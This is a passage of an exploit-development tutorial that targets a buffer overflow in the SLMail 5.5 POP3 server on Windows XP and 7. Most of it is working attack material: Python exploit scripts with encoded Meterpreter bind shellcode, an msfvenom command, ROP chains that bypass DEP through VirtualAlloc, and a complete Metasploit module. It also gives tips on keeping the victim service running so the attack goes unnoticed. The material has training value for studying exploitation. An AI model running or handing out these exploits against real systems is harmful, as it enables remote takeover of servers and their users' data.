buffer += 'C'*(buff_size - len(buffer))
HOST = '127.0.0.1'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'rn')
data = s.recv(1024)
s.send('PASS ' + buffer + 'rn')
s.close()
In this version of the exploit we use the byte 0xcc that is the opcode of a breakpoint instruction as shellcode. That means that once the exploit is launched our process will stop on 0xcc.
For EIP we use an address extracted from the file c:logsslmailjmp.txt. Remember that x86 architecture stores the values in memory using Little Endian, which means the memory address would have to be reversed byte by byte (for example 0x7c91fcd8 has to be converted to xd8xfcx91x7c).
Note: be careful with bad characters when you pick up the jmp esp instruction.
Now, attach the process to Immunity Debugger again, set a breakpoint to the address 0x7c91fcd8 (jmp esp) run the process and execute the exploit:
Once the flow stops on the breakpoint we set on jmp esp, move step-by-step in the debugger using the F7 key. Once you press F7, you can check that the next instruction to execute is a CC (the first byte of our shellcode).
That means we are controlling the execution flow.
Now we need to replace the current shellcode with a real one, maybe a Meterpreter bind tcp generated with Metasploit.
Avoid using bind shells in real-world exploits because anyone with the appropriate network access could connect to them and gain unauthorised access to the victim machine. For training conditions bind shells are fine. In the real world it is much safer to launch a reverse shell to a computer under our control.
Note that when you generate a Metasploit shellcode encoded to avoid certain bad characters, within the payload itself is a routine in charge to decode the payload. That routine uses the stack to push and pop values, so we need to move ESP to a location above the shellcode injected in memory (remember we were putting the shellcode just where ESP was pointing).
First, we use Kali Linux with Metasploit to generate the shellcode. The command to generate the shellcode is:
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.65.176 -e x86/shikata_ga_nai -b ‘x00x0ax0d’ -f c
This shellcode will bind TCP port 4444 (default port on Metasploit that can be changed with the LPORT option) on the interface with the IP address 192.168.65.176 to connect a Meterpreter session:
Then, to ensure ESP is not pointing to the shellcode when the decoder routine is executed, we add an instruction to decrement ESP (sub esp 240h). To obtain the opcodes that represent the instruction, we use a tool from the Metasploit Framework, metasm_shell.rb.
In the following screenshot we see the use of metasm_shell.rb to generate the opcodes we need:
As we can see, if we generate the opcodes of “sub esp,240h” the opcodes generated contain bad characters (0x00). We solve this by adding to esp a negative number: “add esp,-240h”. The “h” in the operation indicates that we are adding 240 in hex, not in decimal.
Then we add the opcodes to the start of the shellcode and insert it in our exploit:
import sys
import socket
#0x7c91fcd8 : jmp esp | {PAGE_EXECUTE_READ} [ntdll.dll]
EIP = 'xd8xfcx91x7c'
move_esp = x81xc4xc0xfdxffxff # add esp,-240h
# Metasploit meterpreter/bind_tcp LPORT=4444 LHOST=192.168.65.176
shellcode = (
xbaxccx95x04x48xd9xc8xd9x74x24xf4x5bx31xc9xb1
x4cx83xc3x04x31x53x0fx03x53xc3x77xf1xb4x33xf5
xfax44xc3x9ax73xa1xf2x9axe0xa1xa4x2ax62xe7x48
xc0x26x1cxdbxa4xeex13x6cx02xc9x1ax6dx3fx29x3c
xedx42x7ex9exccx8cx73xdfx09xf0x7ex8dxc2x7ex2c
x22x67xcaxedxc9x3bxdax75x2dx8bxddx54xe0x80x87
x76x02x45xbcx3ex1cx8axf9x89x97x78x75x08x7exb1
x76xa7xbfx7ex85xb9xf8xb8x76xccxf0xbbx0bxd7xc6
xc6xd7x52xddx60x93xc5x39x91x70x93xcax9dx3dxd7
x95x81xc0x34xaexbdx49xbbx61x34x09x98xa5x1dxc9
x81xfcxfbxbcxbex1fxa4x61x1bx6bx48x75x16x36x04
xbax1bxc9xd4xd4x2cxbaxe6x7bx87x54x4axf3x01xa2
xadx2exf5x3cx50xd1x06x14x96x85x56x0ex3fxa6x3c
xcexc0x73xa8xc6x67x2cxcfx2axd7x9cx4fx85xbfxf6
x5fxfaxdfxf8xb5x93x77x05x36x8dxdbx80xd0xc7xf3
xc4x4bx70x31x33x44xe7x4ax11x2ex27xc1xcax66xc0
x9ex02xb0xefx1fx01x96x67xabx46x22x99xacx42xc2
x33x52x07xe9x95x05xbfxf3xc0x61x60x0bx27xf2x67
xf3xb6xd9x1cxc2x2cx61x4bx2bxa1x61x8bx7dxabx61
xe3xd9x8fx32x16x26x1ax27x8bxb3xa5x11x7fx13xce
x9fxa6x53x51x60x8dxe7x96x9ex50xefx67x5dx85x29
x12x88x15x0ex2dxffx38x27xa4xffx6fx37xed
)
buffer_lenght = 6000
buffer = 'A' * 4654
buffer += EIP
buffer += move_esp
buffer += shellcode
buffer += 'C' * (buffer_lenght-len(buffer))
HOST = '127.0.0.1'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'rn')
data = s.recv(1024)
s.send('PASS ' + buffer + 'rn')
s.close()
Then restart the process and execute the exploit. If all goes right, this is the result on the Windows box:
And now that port can be used to connect a Meterpreter session from our Kali Linux:
SLMail 5.5 got Pwned!!!
DEP Bypass
DEP stands for Data Execution Prevention and is a countermeasure that avoids code execution on the stack.
First we enable DEP for all programs on the Windows XP box (by default it is just enabled for essential Windows programs and processes). The box must be rebooted for the changes to take effect.
Once DEP is enabled, try to run the exploit with the process slmail attached to the debugger.
As we can see, there is an access violation when executing “add ESP,-240”, just the first instruction we used in our exploit to move ESP away from the shellcode.
This is because DEP forbids the execution of code in the stack; right now the stack just contains pointers to instructions that are in other parts of memory where the code execution is permitted.
To solve this, we can use the return to libc technique; simply look in memory for pointers to instructions we want to execute followed by a RET instruction to chain all the instructions on the stack.
This technique is known as ROP (return-oriented programming), the set of instructions referenced by the pointers are known as ROP gadgets, and the set of pointers to instructions is the ROP chain.
A little bit of ROP theory:
EIP is the instruction pointer, and its value is the address of the following instruction being executed.
A RET instruction just pops the top value on the stack and loads it in EIP, then the value on the top of the stack (pointed to by ESP) will be the next instruction to call.
If we overwrite EIP with a pointer to RET instructions and put a set of pointers to instructions that ends with a RET on the stack, we manage to chain all those instructions to perform the actions we want (take note that instructions like “push” or “pop” modify the stack, so it needs to be set up properly).
Here is an example of how ROP works:
We overwrite EIP with address 0x77c46027 (pop ecx, ret). Then we set up the stack to make sure the “pop ecx” instruction pops the “0xffffffff” value to ECX and the RET, and gets the pointer to the next instructions to execute.
This is the stack after executing those instructions:
We are ready to execute the next instruction in the chain.
Using ROP we can try to make an entire shellcode if we find enough gadgets to do it, but this very often is not possible. Luckily Windows offers some API calls that make our life easy. Using the API functions we can change the protection mode of a piece of memory or even allocate more memory for the process, making it executable. Once achieved, we can put our shellcode in that piece of memory and execute it.
There are many API functions we can use depending on Windows version, but VirtualAlloc and VirtualProtect are reliable and work in most Windows versions.
A description of VirtualAlloc can be found at http://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx.
VirtualAlloc reserves or commits a region of pages in the virtual address space of the calling process.
The parameters are the starting address of the region to allocate, the size of the region in bytes, the type of allocation, and the memory protection for that region.
If we put “0x40” (PAGE_EXECUTE_READWRITE) in the last parameter, we could execute code in that memory region.
A description of VirtualProtect can be found at http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx
VirtualProtect changes the protection on a region of committed pages in the virtual address space of the calling process.
Syntax
Here we pass a pointer to an address that describes the start of the region, the size in bytes of the region whose protection attributes are to be changed, the type of protection desired (0x40), and a pointer to a variable that receives the current protection value. Ifs this parameter is null or points to a non-valid address the function fails.
After the theory about ROP and Windows API functions, let’s see how to use this to write an exploit with the help of mona.py.
We call “!mona rop” in Immunity Debugger, creating the files rop.txt, rop_chains.txt, rop_suggestions.txt, and stackpivot.txt at c:logsslmail.
In rop_chains.txt you can find some ready-to-use functions to make a rop chain calling VirtualAlloc or VirtualProtect to change the protection of the stack. You are going to need this in your exploit, and mona.py gives it to you in the form of functions in Python, Ruby, or other languages.
This is the Python function generated by mona.py to use VirtualAlloc in our exploit:
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x0041c323, # POP EAX # RETN [SLmail.exe]
0x5d091330, # ptr to VirtualAlloc() (skipped module criteria, check if pointer is reliable !) [IAT COMCTL32.dll]
0x00422ce9, # MOV EAX,DWORD PTR DS:[EAX+4] # RETN [SLmail.exe]
0x004155f2, # PUSH EAX # ADD EAX,E2EB0000 # MOV EAX,ESI # POP ESI # RETN [SLmail.exe]
0x00426fd1, # POP EBP # RETN [SLmail.exe]
0x00000000, # [Unable to find ptr to 'JMP ESP']
0x00432593, # POP EBX # RETN [SLmail.exe]
0x00000001, # 0x00000001-> ebx
0x00000000, # [-] Unable to find gadget to put 00001000 into edx
0x004017c9, # POP ECX # RETN [SLmail.exe]
0x00000040, # 0x00000040-> ecx
0x004233f0, # POP EDI # RETN [SLmail.exe]
0x004233f1, # RETN (ROP NOP) [SLmail.exe]
0x0041592e, # POP EAX # RETN [SLmail.exe]
0x90909090, # nop
0x00000000, # [-] Unable to find pushad gadget
]
return ''.join(struct.pack('
This ROP chain is not going to work in our exploit because there are some gadgets missing and because of the bad characters.
By default mona.py excludes the OS DLLs when looking for gadgets to make exploits more reliable, but if no valid gadgets are found we can force mona.py to include them with the -m option.
So we call the following command:
!mona rop -cpb ‘x00x0ax0d’ -m msvcrt.dll
This is the Python function generated in rop_chains.txt:
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x77c4c5cd, # POP EBP # RETN [msvcrt.dll]
0x77c4c5cd, # skip 4 bytes [msvcrt.dll]
0x77c46e97, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c4debf, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c2e93d, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459, # ptr to 'push esp # ret ' [msvcrt.dll]
]
return ''.join(struct.pack('
As can be seen, there are no missing pointers causing errors, and the opcodes do not contain bad characters.
This ROP chain to VirtualAlloc is going to make the stack executable, so we could execute our shellcode like when DEP was in OptIn mode (OptIn is only enabled for essential Windows programs and processes).
We add the chain just before the first instruction we need to execute on the stack.
Before the new exploit is finished, we must change the instruction we put in EIP for a ret instruction that loads in EIP the next pointer in the stack. Remember we use a jmp esp instruction, but now we can’t execute code in the stack, so when the jump lands in the stack, the data there are not opcodes, so it is not going to work. We can look in rop.txt for gadgets to use:
0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
The gadget above extracts the first value in the stack to ECX and then makes a RET that loads the following value onto the stack on EIP. That means that we need to put four bytes between the EIP and the rop chain to avoid the first gadget of the chain being removed.
Here is the entire exploit.
# DEP Bypass POC
import sys
import socket
import struct
#0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] **
EIP = struct.pack(' put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c2e93d, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459, # ptr to 'push esp # ret ' [msvcrt.dll]
]
return ''.join(struct.pack('
Now, let’s try the new version of the exploit. Once executed we can see the following in a command prompt:
And now let’s try to connect from Kali Linux:
As we can see, we have a Meterpreter shell on the remote Windows box.
Pwned!!!! again.
From exploit to Metasploit
Once we have our Python exploit working on systems with DEP and with no DEP, it’s time to port it to a Metasploit module. With the Metasploit module the process of exploiting this vulnerability will be fully automated.
Metasploit has its own modules by default on /usr/share/metasploit-framework/modules/. Here there is a folder structure for each class of module (e.g. exploits/windows/httpd) and inside these folders are the exploit files (such as shttpd_post.rb).
There are two ways of adding modules to Metasploit. You can put your own exploit files in this folder structure; but this is not recommended because when Metasploit updates you may lose your exploits. The other way is to create the same folder structure inside the .msf4 folder in the user’s home directory.
In this case, to add a module to Metasploit we are going to create the file slmail_pass.rb in the folder $HOME/.msf4/modules/exploits/windows/pop3/.
mkdir .msf4/modules
mkdir .msf4/modules/exploits
mkdir .msf4/modules/exploits/pop3
touch .msf4/modules/exploits/pop3/slmail_pass.rb
Next, we can copy the Metasploit exploit skeleton inside the file slmail_pass.rb. The next skeleton is available at http://www.offensive-security.com/metasploit-unleashed/Exploit_Format:
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize
super(
'Name' => 'Simplified Exploit Module',
'Description' => 'This module sends a payload',
'Author' => 'My Name Here',
'Payload' => {'Space' => 1024, 'BadChars' => x00},
'Targets' => [ ['Automatic', {} ] ],
'Platform' => 'win',
)
register_options( [
Opt::RPORT(12345)
], self.class)
end
# Connect to port, send the payload, handle it, disconnect
def exploit
connect()
sock.put(payload.encoded)
handler()
disconnect()
end
end
Every module needs at least two functions: “initialize” and “exploit”. There is a third and optional function “check”, which is used to fingerprint the victim box and check whether or not it is vulnerable to the exploit. Apart from this you can define more auxiliary functions to help achieve your goal, just like any Python or Ruby script.
Like Python, the indentation in Ruby is very important. Metasploit modules used to use two blank spaces instead of tabulations to indent (it is advisable to set the text editor of your choice to use two spaces when you press tab).
Here’s an example .vimrc file to set up a Vim editor:
filetype indent plugin on
syntax on
set shiftwidth=2
set softtabstop=2
set expandtab
If you use this .vimrc file, and you try to paste the exploit skeleton into a file using Vim, each new line you paste will be indented, and the exploit will lose the format. To solve this, you need to execute the “:set paste” command before you paste the content to the file. Once pasted, if the indent is more than two spaces you can type “gg=G” to re-indent the file using the configured values.
The line “include Msf::Exploit::Remote::TCP” is a Mixin which lets you include classes inside classes. Mixins add new functions and let you overload existing functions, changing their behavior.
Metasploit has many ready-to-use Mixins, which you can find in the folder lib/msf/core/ inside the Metasploit parent folder.
You can find lots of information about Mixins on the Internet, for example at
http://www.offensive-security.com/metasploit-unleashed/Exploit_Mixins, or simply by looking into the source code:
Some Metasploit Mixins are:
- Exploit::Remote::Tcp (lib/msf/core/exploit/tcp.rb)
- Exploit::Remote::DCERPC (lib/msf/core/exploit/dcerpc.rb)
- Exploit::Remote::SMB (lib/msf/core/exploit/smb.rb)
- Exploit::Remote::BruteTargets (lib/msf/core/exploit/brutetargets.rb — lib/msf/core/exploit/brute.rb)
- Exploit::Remote::HttpClient (lib/msf/core/exploit/http/client.rb)
- Exploit::Remote::FILEFORMAT (lib/msf/core/exploit/fileformat.rb)
- Exploit::Remote::Egghunter (lib/msf/core/exploit/egghunter.rb)
- Exploit::Remote::Omelet (lib/msf/core/exploit/omelet.rb)
- Exploit::Remote::Seh (lib/msf/core/exploit/seh.rb)
Now to port our exploit into Metasploit. First we are going to modify the initialize function with the information about our exploit:
def initialize
super(
'Name' => 'SLMail 5.5 Pop3 Pass Exploit Module',
'Description' => 'This module exploits a buffer overflow when sending password on pop3 server',
'Author' => 'Nacho Sorribas',
'Payload' => {'Space' => 332, 'BadChars' => x00x0ax0d},
'Targets' =>
[
['Windows XP SP3 English',
{
'Ret' => 0x77c46027, #0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] **
'OffSet' => 4654,
}
]
],
'Platform' => 'win',
)
register_options( [
Opt::RPORT(110)
], self.class)
end
It is important to be very accurate with the “Space” and “BadChars” options for the payload, and specify in the target the Offset to control EIP and the address of the function we are going to use to get our shellcode.
All this information can be found in the file findmsp.txt. Be careful with the Space; you can see in the file we have 430 bytes for the payload, but the rop chain, the opcodes to move ESP away from the shellcode, and the padding we used to set up the stack properly use 98 bytes of space, so there are only 332 bytes left for the payload.
Next, we copy the function create_rop_chain() from the file rop_chains.txt that mona.py generated:
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x77c4c5cd, # POP EBP # RETN [msvcrt.dll]
0x77c4c5cd, # skip 4 bytes [msvcrt.dll]
0x77c46e97, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c4debf, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c2e93d, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459, # ptr to 'push esp # ret ' [msvcrt.dll]
].flatten.pack(V*)
return rop_gadgets
end
Next we add the logic of our exploit to the exploit() function:
def exploit
size = 6000 # buffer size
move_esp = x81xc4xc0xfdxffxff # add esp,-240h
buffer = 'A' * target['OffSet'] # Padding
buffer << [target.ret].pack('V') # EIP (pop ECX, ret)
buffer << xffxffxffxff # Padding to put en ECX
buffer << create_rop_chain()
buffer << move_esp
buffer << payload.encoded
buffer << 'C' * (size-buffer.length) # Padding to buffer size
connect()
sock.get # Get the server banner
sock.put(USER username rn)
sock.get # Get the server response to command USER
print_status(Sending Evil buffer...)
sock.put(PASS +buffer+rn)
handler()
disconnect()
end
And here is the final Metasploit exploit module:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize
super(
'Name' => 'SLMail 5.5 Pop3 Pass Exploit Module',
'Description' => 'This module exploits a buffer overflow when sending password on pop3 server',
'Author' => 'Nacho Sorribas',
'Payload' => {'Space' => 332, 'BadChars' => x00x0ax0d},
'Targets' =>
[
['Windows XP SP3 English',
{
'Ret' => 0x77c46027, #0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] **
'OffSet' => 4654,
}
]
],
'Platform' => 'win',
)
register_options( [
Opt::RPORT(110)
], self.class)
end
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x77c4c5cd, # POP EBP # RETN [msvcrt.dll]
0x77c4c5cd, # skip 4 bytes [msvcrt.dll]
0x77c46e97, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c4debf, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c2e93d, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459, # ptr to 'push esp # ret ' [msvcrt.dll]
].flatten.pack(V*)
return rop_gadgets
end
# Connect to port, send the payload, handle it, disconnect
def exploit
size = 6000 # buffer size
move_esp = x81xc4xc0xfdxffxff # add esp,-240h
buffer = 'A' * target['OffSet'] # Padding
buffer << [target.ret].pack('V') # EIP (pop ECX, ret)
buffer << xffxffxffxff # Padding to put en ECX
buffer << create_rop_chain()
buffer << move_esp
buffer << payload.encoded
buffer << 'C' * (size-buffer.length) # Padding to buffer size
connect()
sock.get # Get the server banner
sock.put(USER username rn)
sock.get # Get the response to the command USER
print_status(Sending Evil buffer...)
sock.put(PASS +buffer+rn)
handler()
disconnect()
end
end
Time to try the module. Start msfconsole, select the exploit, configure it, and launch it.
We have a Meterpreter session, so the exploit is working fine (at least with the default options).
Let’s see the options of the exploit.
The payload has an EXITFUNC option by default set to “process” ; this means when the session is closed the process is terminated, so the vulnerability could not be exploited again until the process restarts. The other option is to set EXITFUNC to “thread” (this one works only if the service attacked uses threads, and in this case a POP3 server does, like an HTTP server or an SMTP server); this means that when the session is closed the thread is terminated, but the main process is still working and the vulnerability could be exploited again. More importantly, the victim doesn’t notice the attack because the service is working normally.
Let’s try to change the EXITFUNC to “thread” and exploit the box again:
The exploit fails because none of the encoders could encode the payload in the space available. Remember we only have 332 bytes for the payload, and this is not enough space.
We can get four extra bytes if we change the EIP gadget for 0x77c34281 (#0x77c34281 : # INC EAX # RETN ** [msvcrt.dll] **) and leave the padding we use to put in ECX, but this is not enough.
Let’s try to find more space available. First we check out the findmsp.txt file to look for a better place for the shellcode:
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x015118e8 (length 6000 bytes)
EIP contains normal pattern : 0x7a46317a (offset 4654)
ESP (0x01cea154) points at offset 4658 in normal pattern (length 430)
EBP contains normal pattern : 0x46307a46 (offset 4650)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
Walking stack from 0x01ce8000 to 0x01cefffc (0x00007ffc bytes)
0x01ce8fe4 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 4092, length 996 (-> 0x01ce93c7 : ESP-0xd8c)
0x01ce9f20 : Contains normal cyclic pattern at ESP-0x234 (-564) : offset 4094, length 994 (-> 0x01cea301 : ESP+0x1ae)
0x01ceab14 : Contains normal cyclic pattern at ESP+0x9c0 (+2496) : offset 4092, length 996 (-> 0x01ceaeF7 : ESP+0xda4)
0x01cecf1c : Contains normal cyclic pattern at ESP+0x2dc8 (+11720) : offset 4092, length 996 (-> 0x01ced2ff : ESP+0x31ac)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
Here we have a good candidate highlighted in red. On the offset 4092 we have 996 bytes, but remember EIP was at offset 4654 so if we don’t want to corrupt our exploit, only 562 bytes can be used for the shellcode; this is still much better than the previous 332 bytes.
The new approach would be to use the 430 bytes after the EIP for the rop chain and then make a jump backwards to offset 4092, where we have 562 bytes more.
We will see this later; first let’s try to port the exploit to Windows 7.
Windows7 exploit (Python version)
For the demo, we used 64-bit Windows7 Professional with SLMAIL 5.5 installed.
We launched the poc2.py exploit, the one with the Metasploit cyclic pattern to make the application crash.
We then used mona.py to find the pattern in memory. Here is some of the output:
================================================================================
Output generated by mona.py v2.0, rev 557 - Immunity Debugger
Corelan Team - https://www.corelan.be
================================================================================
OS : 7, release 6.1.7601
Process being debugged : SLmail (pid 3224)
Current mona arguments: findmsf
================================================================================
2015-06-03 13:08:07
================================================================================
----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename Path
----------------------------------------------------------------------------------------------------------------------------------
0x73f10000 | 0x73F76000 | 0x00066000 | True | True | True | True | True | 7.0.7600.16385 [MSVCP60.dll] (C:Windowssystem32MSVCP60.dll)
[…]
0x10000000 | 0x10007000 | 0x00007000 | False | False | False | False | True | 4.3.0.2 [Openc32.dll] (C:Windowssystem32Openc32.dll)
[…]
0x00400000 | 0x0045c000 | 0x0005c000 | False | False | False | False | False | 5.1 [SLmail.exe] (C:Program Files (x86)SLmailSLmail.exe)
[…]
0x5f400000 | 0x5f4f4000 | 0x000f4000 | False | False | False | False | True | 6.00.8063.0 [SLMFC.DLL] (C:Windowssystem32SLMFC.DLL)
[…]
0x5fd00000 | 0x5fd0e000 | 0x0000e000 | False | False | False | False | True | 6.00.8168.0 [MFC42LOC.DLL] (C:Windowssystem32MFC42LOC.DLL)
[…]
----------------------------------------------------------------------------------------------------------------------------------
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x01f100e0 (length 6000 bytes)
EIP contains normal pattern : 0x7a46317a (offset 4654)
ESP (0x01cea128) points at offset 4658 in normal pattern (length 430)
EBP contains normal pattern : 0x46307a46 (offset 4650)
EDX (0x01cea2d0) points at offset 5082 in normal pattern (length 6)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
[…]
As can be seen highlighted in red, we can extract certain information from this file.
First we need to look for a module that doesn’t have ASLR or Rebase.
ASLR is a technique that randomizes the base address where the module loads in memory on every box reboot. Rebase is a technique to avoid multiple modules to be loaded at the same address in the process’ memory space. These two techniques make memory addresses unreliable to use in exploits.
In this case, we have three modules in memory with no ASLR or Rebase we can use to find the instructions or gadgets needed for our exploit.
We can see in the file output that the offset to control EIP is the same as the one in the Windows XP exploit.
So we need a jmp esp instruction inside one of the modules mentioned before to make the former exploit work.
We can use mona.py to find this instruction:
!mona jmp -r esp -m mfc42loc.dll,slmfc.dll,Openc32.dll
As can be seen, mona.py does not find any pointer to jmp esp in any of the analyzed modules.
There could be some instructions in the DLLs that mona.py could not find, so let’s try another approach using objdump just to make sure.
The SLMFC.DLL was copied to a Linux box and then analysed:
root@kali:/#objdump -D slmfc.DLL | grep jmp | grep esp
objdump finds multiple jmp esp instructions. Just to make sure, in Immunity Debugger we tried to go to the address 0x5f4a358f and watch which instructions are there.
Just right-click in the instructions windows, and choose “Go To -> Expression” in the pop-up menu. Then put the memory address in the expression form and click “OK”.
This was the result
The instruction “jmp esp” was in the SLMFC module, which was compiled with no ASLR and no Rebase.
Once the exploit is modified with this jump instruction, the exploit should look like this:
import sys
import socket
import struct
eip_offset = 4654
edx_offset = 5082
buff_size = 6000
#0x5f4a358f : # JMP ESP [SLMFC.DLL]
EIP=struct.pack(
We then launch the exploit against the two Windows boxes to check it works on XP and on Win7.
First we configured the handler to not exit after a session is acquired, and to run it as a job:
Then the exploit was slightly modified to take the target IP from the command line. Here is what was changed:
- HOST = ‘127.0.0.1’
+ HOST = sys.argv[1]
Here are some screenshots showing what happened.
First the exploit launched against both boxes:
And here are the received Meterpreter sessions:
We have a reliable exploit for Windows XP and Windows 7 with DEP configured with the Optin (default) option.
This is because we are using an instruction from a module that installs with the SLMAIL server (SLMFC.DLL) to make the jump to the ESP register. This module should be the same in SLMAIL 5.5 across all Windows platforms.
Bypass DEP on Windows 7
Like in Windows XP, DEP on Windows 7 is OptIn by default. To change this setting and activate DEP for all processes, we can use a privileged command prompt to type:
bcdedit.exe /set nx AlwaysOn
After this, you need to restart the box.
To bypass DEP, we use ROP as on Windows XP.
The first step is to use mona.py to find gadgets and rop chains using modules with no ASLR and no Rebase.
!mona rop -m mfc42loc.dll,slmfc.dll,Openc32.dll -cpb 'x00x0ax0d'
Looking at the file rop_chains.txt we see chains to VirtualProtect and VirtualAlloc. The VirtualProtect chain is 600 bytes in length, too big for the space we have on the exploit (430 bytes). The VirtualAlloc one is smaller (96 bytes), but it is not complete because mona.py did not find a pointer to VirtualAlloc and did not find a gadget to put 0x1000 into EDX on any of the modules used to create the chains.
Here is the chain.
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x00000000, # [-] Unable to find API pointer -> ecx
0x5f473b6b, # MOV EAX,DWORD PTR DS:[ECX] # RETN [SLMFC.DLL]
0x5f468e7b, # PUSH EAX # PUSHAD # POP ESI # RETN [SLMFC.DLL]
0x5f45dfd5, # POP EAX # RETN [SLMFC.DLL]
0x7ffbff9c, # put delta into eax (-> put 0x00000000 into ebp)
0x5f47fc0f, # ADD EAX,80040064 # RETN 0x08 [SLMFC.DLL]
0x5f48d2d5, # XCHG EAX,EBP # RETN [SLMFC.DLL]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x5f4731a7, # POP EAX # RETN [SLMFC.DLL]
0xffffffff, # Value to negate, will become 0x00000001
0x5f465969, # NEG EAX # RETN [SLMFC.DLL]
